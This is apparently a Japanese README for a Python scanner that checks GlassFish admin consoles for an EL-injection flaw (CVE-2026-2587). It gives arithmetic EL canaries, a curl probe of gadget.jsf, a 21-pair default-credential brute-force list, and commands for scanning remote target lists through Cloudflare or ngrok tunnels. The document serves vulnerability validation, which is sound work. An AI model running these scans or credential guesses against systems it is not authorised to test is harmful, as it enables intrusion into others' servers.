XMLが`<ModulePrefs title="">`属性内に`#{7*7}`を含む場合、GlassFishはサーバーサイドでそれを評価し`49`を返します—EL実行を確認します。ELがJavaランタイムにアクセスすることで、完全なRCEチェーンが続きます。

現在の公開アドバイザリレコードは、影響を受けるバージョンやパッチ適用済みバージョンの境界を公開していません。したがって、このバリデーターは証明ファーストです：GlassFishのフィンガープリントを取得し、バージョンメタデータを報告しますが、バージョン文字列のみからターゲットを脆弱と分類することはありません。

---

## 動作原理

![CVE-2026-2587の安全な検証ワークフロー](https://assets.kitploit.com/production/public/readmes/15612/d24fad85e9cfd24152f916ba71622ed442636e171c4e912ad5ffd7d973f9a6ba.png)

安全な検証パスは、良性のXMLプローブをホストし、認証済みの管理コンソールリクエストを`gadget.jsf`に送信し、GlassFishにコールバックURLからそのXMLをフェッチさせ、`<ModulePrefs title="">`カナリアが`#{7*7}`から`49`に評価されるかどうかを確認します。

**インジェクションポイントの確認有無:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" />              <!-- returns 49 -->
<ModulePrefs description="#{7*7}" />        <!-- returns 49 -->

<!-- ❌ EL NOT evaluated -->
<Content type="html">
  <![CDATA[ #{7*7} ]]>                      <!-- returns #{7*7} literally -->
</Content>

**リポジトリの内容:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│   └── cve-2026-2587-validation-flow.png  ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py   ← main script
├── probe.xml                   ← ready-to-host static probe XML
├── targets.txt.example         ← multi-target file template
└── README.md

GlassFish 7.0.15を起動し、ポートは`127.0.0.1`のみにバインドされ、
`host.docker.internal`が事前に設定されているため、コンテナはローカルのXMLサーバーに到達できます。

### オプション B — 最小限の docker run```bash
docker run --rm \
  --name gf-cve-2026-2587-lab \
  -p 127.0.0.1:8080:8080 \
  -p 127.0.0.1:4848:4848 \
  --add-host=host.docker.internal:host-gateway \
  omnifish/glassfish:7.0.15

コンテナの視点から到達可能性を確認してください:```bash
docker exec gf-cve-2026-2587-lab \
  curl -s http://host.docker.internal:8000/probe.xml | head -5

| 出力 | 意味 |
|---|---|
| `CVE2587_TITLE_49_END` | **脆弱** — `ModulePrefs title` 内でELが評価される |
| `CVE2587_BODY_49_END` | **脆弱** — CDATA本体でELが評価される |
| `CVE2587_TITLE_#{7*7}_END` | 脆弱ではない / ELは評価されない |
| *(no output)* | GlassFishがXMLを取得しなかった — コールバックの到達可能性を確認 |

> CDATA本体は通常、脆弱なビルドでもそのまま残ります。`TITLE`の結果が正であれば、それだけで発見を確認するのに十分です。

---

### ローカルラボに対する自動検証```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

ファイルに書き込んだ後の出力:```
[+] probe XML written → probe.xml
    Expression  : #{7*7}
    Expects     : CVE2587_TITLE_49_END  in response title
    Host this file at a URL reachable by the target server.
    Then run:
      --xml-url http://YOUR_SERVER/probe.xml
      --prefix CVE2587 --left 7 --right 7

> `host.docker.internal` は Docker 内部からホストマシンに解決されます。
> GlassFish コンテナは、このアドレスを経由してプローブ XML を取得します。

---

### 認証情報```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://localhost:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://host.docker.internal:8000 \
  --username admin --password admin \
  --insecure --verbose

有効なペアが見つかると、出力に表示され、CSVの`brute_creds`列に記録されます。すべてのペアが失敗した場合、スキャンは`AUTH_REQUIRED`で終了します。

一部のGlassFishビルドでは、有効なフォームPOSTの後に`/login.jsf`が返されます。バリデータはそのURL単体を失敗として扱わず、管理ガジェットエンドポイントをプローブし、応答がログインフォームではないことを確認してセッションを確認します。

試行される認証情報リスト（順序通り）：

| ユーザー名 | パスワード |
|---|---|
| `admin` | `admin` |
| `admin` | *(空)* |
| `admin` | `adminadmin` |
| `admin` | `password` |
| `admin` | `admin123` |
| `admin` | `Admin1234` |
| `admin` | `glassfish` |
| `admin` | `glassfishadmin` |
| `admin` | `changeit` |
| `admin` | `changeme` |
| `admin` | `secret` |
| `admin` | `welcome1` |
| `admin` | `oracle` |
| `admin` | `Oracle123` |
| `administrator` | `administrator` |
| `administrator` | `password` |
| `administrator` | `admin` |
| `glassfish` | `glassfish` |
| `root` | `root` |
| `root` | `password` |
| `root` | `toor` |

---

### Cloudflare Tunnel経由のリモートアクセス

クイックトンネルにはアカウントは不要です。

**ステップ1 — cloudflaredをインストール：**```bash
# macOS
brew install cloudflared

# Linux
wget -q https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared-linux-amd64.deb

**Step 3 — バリデーターを実行:**

コールバックURLには、生成された同じホスト名を `http://` で使用します。これにより、Cloudflare TLS証明書チェーンを検証できないGlassFishラボコンテナで発生するJVMトラストストアエラーを回避できます。生成された `https://` trycloudflare URLを貼り付けると、バリデーターはコールバックを `http://` に書き換えて警告を出力します。末尾のスラッシュは任意です。バリデーターは `/canary.xml` と各テストのXMLパスを自動的に追加します。```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url http://random-words.trycloudflare.com \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

> `--prefix`、`--left`、`--right` は、ホストされた XML ファイル内の値と一致する必要があります。
> そうすることで、スクリプトはレスポンス内のどの評価済みトークンを探すべきかを認識できます。

---

### ngrok 経由のリモート（最終手段）

ngrok は、リモートターゲットに対する最後の手段としてのみ使用してください。無料プランでは、ブラウザからのアクセスではないサーバーサイドのフェッチに対して、警告の HTML ページを返してブロックする場合があります。その場合、GlassFish は `probe.xml` の代わりにその警告ページをフェッチし、バリデータはそのレスポンスをログインページまたは不明な結果として分類する可能性があります。この制限を回避できる有料の ngrok アカウントをお持ちでない限り、Cloudflare Tunnel、VPS、またはターゲット JVM がクリーンにフェッチできる静的 Web ホストを優先してください。

**ステップ 1 — ngrok のインストール:**```bash
# macOS
brew install ngrok

# Linux
curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \
  | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null
echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \
  | sudo tee /etc/apt/sources.list.d/ngrok.list
sudo apt update && sudo apt install ngrok

**ステップ3 — バリデーターを実行:**```bash
# Terminal 2
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://REMOTE_TARGET:4848 \
  --listen 0.0.0.0:8000 \
  --callback-url https://abc123.ngrok-free.app \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

## 使用方法 — 複数のターゲット

### ターゲットファイルの形式

リポジトリにはテンプレートとして `targets.txt.example` が含まれています。コピーして編集してください：```bash
cp targets.txt.example targets.txt
# edit targets.txt with your servers

すべてのターゲットに対して実行:```bash
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --insecure \
  --csv results.csv

> 推奨スレッド数:
> - ローカルラボ: 最大 `10`
> - インターネット経由のリモートターゲット: `3–5` (レート制限を尊重)
> - 単一ターゲット: `1` (デフォルト)

---

## 出力形式

### コンソール

デフォルトの人間可読出力。`--verbose` を追加すると各テストケースの結果が表示されます。```
────────────────────────────────────────────────────────────────
  Target : https://localhost:4848
  Server : Eclipse GlassFish 7.0.15
  Version : Eclipse GlassFish 7.0.15  [asadmin-api]  (affected: UNKNOWN)
  Console : present  |  Gadget: present  |  Proof: evaluated
[+] VULNERABLE  —  9/10 test cases confirmed
[+]   TC-01 Basic multiply      #{7*7} → 49
[+]   TC-02 Addition            #{1337+2587} → 3924
[+]   TC-03 Large multiply      #{31337*271} → 8492327
    ...

    Remediation: restrict admin access and apply vendor-published fixed builds when available.

### CSV```bash
# Write to file
--csv results.csv

# Write to stdout (pipe-friendly)
--csv -

---

### JSON```bash
--json

複数のターゲットはJSON配列を返します。

---

### 出力の組み合わせ

すべての出力形式は独立しています — 自由に組み合わせてください:```bash
# Console + CSV + JSON simultaneously
python3 CVE-2026-2587-Exploit-POC.py \
  --targets-file targets.txt \
  --listen 0.0.0.0:8000 \
  --callback-url https://random-words.trycloudflare.com \
  --username admin --password admin \
  --threads 5 --insecure --verbose \
  --csv results.csv \
  --json > results.json

また、リダイレクトの `Location` ヘッダーからデフォルト以外のGUIコンテキストルートを学習し、そのルートをテストの前に付加します。この発見リストを上書きしたい場合にのみ、繰り返し可能な `--path` 値を使用してください。

バージョン検出は、レスポンスヘッダー、管理REST API、ログインページ、そしてログイン成功後の `/__asadmin/version.json` または `/__asadmin/version` から試みられます。バージョンデータはルーティングとレポーティングのみを改善します。スキャナーは、公開されたアドバイザリレコードがバージョン境界を公開するまで、`version_affected` を `UNKNOWN` のままにします。

---

### Custom Canary Values

検証器を手作りのXMLに一致させるには、`--prefix`、`--left`、`--right` を使用します。自分でホストしているファイルで `--xml-url` を使用する場合に必要です。```bash
# Matches: <ModulePrefs title="MYTEST_TITLE_#{13*17}_END" />
# Expects: MYTEST_TITLE_221_END in response
python3 CVE-2026-2587-Exploit-POC.py \
  --base https://TARGET:4848 \
  --xml-url http://YOUR_SERVER/custom.xml \
  --prefix MYTEST --left 13 --right 17 \
  --cookie "JSESSIONID=YOUR_SESSION_ID" \
  --insecure

---

## テストケース

バリデータは10個の異なるELプローブを実行し、それぞれが異なる機能を確認します：

| # | ペイロード | 期待値 | 証明内容 |
|---|---|---|---|
| TC-01 | `#{7*7}` | `49` | ベースライン算術カナリア |
| TC-02 | `#{1337+2587}` | `3924` | 加算演算子 |
| TC-03 | `#{31337*271}` | `8492327` | 衝突耐性のある大きな乗算 |
| TC-04 | `#{9999-1337}` | `8662` | 減算演算子 |
| TC-05 | `#{(6+1)*(6+1)}` | `49` | ネストされた括弧 / 演算子の優先順位 |
| TC-06 | `#{1==1?'VULN':'SAFE'}` | `VULN` | 条件分岐 / 三項演算子 — 制御フローの実行 |
| TC-07 | `#{'CVE'.concat('2026')}` | `CVE2026` | 文字列メソッドへのアクセス |
| TC-08 | `#{'GL'.concat('ASS').concat('FISH')}` | `GLASSFISH` | メソッドチェーン呼び出し |
| TC-09 | `#{17 mod 5}` | `2` | ELキーワード演算子 |
| TC-10 | `#{100*100}` | `10000` | 追加の算術確認 |

TC-06、TC-07、TC-08が最も重要です。これらを通過するということは、ELエンジンが**文字列APIメソッドと条件分岐ロジック**を実行することを意味し、完全なRCEチェーンへの直接的な前段階となります。

---

## 出力の解釈

| ステータス | 意味 |
|---|---|
| `VULNERABLE` | EL式が評価されました — インスタンスが影響を受けることを確認 |
| `VULNERABLE_UNAUTH` | 認証なしでエンドポイントが露出 — 基本CVEより深刻 |
| `NOT_VULNERABLE` | 式がそのまま反映 — ELは評価されていません |
| `AUTH_REQUIRED` | エンドポイントがログインページを返しました — Cookieまたは資格情報を確認 |
| `INCONCLUSIVE` | 応答は受信したがカナリアが見つからない — 以下を参照 |
| `ERROR` | リクエストが失敗 — ネットワーク/TLSの問題 |

`detected_version` と `version_source` は補足的なコンテキストです。現在、公開アドバイザリでは影響を受けるバージョンとパッチ済みバージョンが不明としてリストされているため、`version_affected=UNKNOWN` を否定的な結果として扱わないでください。唯一の肯定的な発見は、評価されたプルーフトークンです。

**INCONCLUSIVEのトラブルシューティング:**

| 症状 | 原因 | 修正 |
|---|---|---|
| `XML hits: 0` | GlassFishがあなたのXMLをフェッチしなかった | `--callback-url` がターゲットから到達不能 |
| `XML hits: 1+` だが一致なし | ELが評価されたがフィールドが間違っている | CDATAコンテンツでは想定内 |
| 実行中の認証リダイレクト | セッションの期限切れ | ブラウザから新しい `JSESSIONID` を取得 |
| ログインPOSTが `j_security_check` にリダイレクト | パスワードが間違っている | 代わりに `--cookie` を使用 |

---

## 手動確認

Pythonは不要:```bash
# Step 1 — create probe XML
mkdir probe && cat > probe/probe.xml << 'EOF'
<?xml version="1.0"?>
<Module>
  <ModulePrefs title="PROBE_#{7*7}_END"/>
  <Content type="html"><![CDATA[ok]]></Content>
</Module>
EOF

# Step 2 — serve it
python3 -m http.server 8000 --directory probe &

# Step 3 — hit the endpoint with your session cookie
curl -sk \
  -H "Cookie: JSESSIONID=YOUR_SESSION_ID" \
  "https://localhost:4848/common/gadgets/gadget.jsf?gadget=http://host.docker.internal:8000/probe.xml" \
  | grep -oE 'PROBE_[^"< ]+_END'

# Vulnerable output:
# PROBE_#{7*7}_END    ← raw (CDATA — expected)
# PROBE_49_END        ← evaluated ✅ VULNERABLE

---

<p align="center">
  <a href="https://github.com/Bhanunamikaze">github.com/Bhanunamikaze</a>
</p>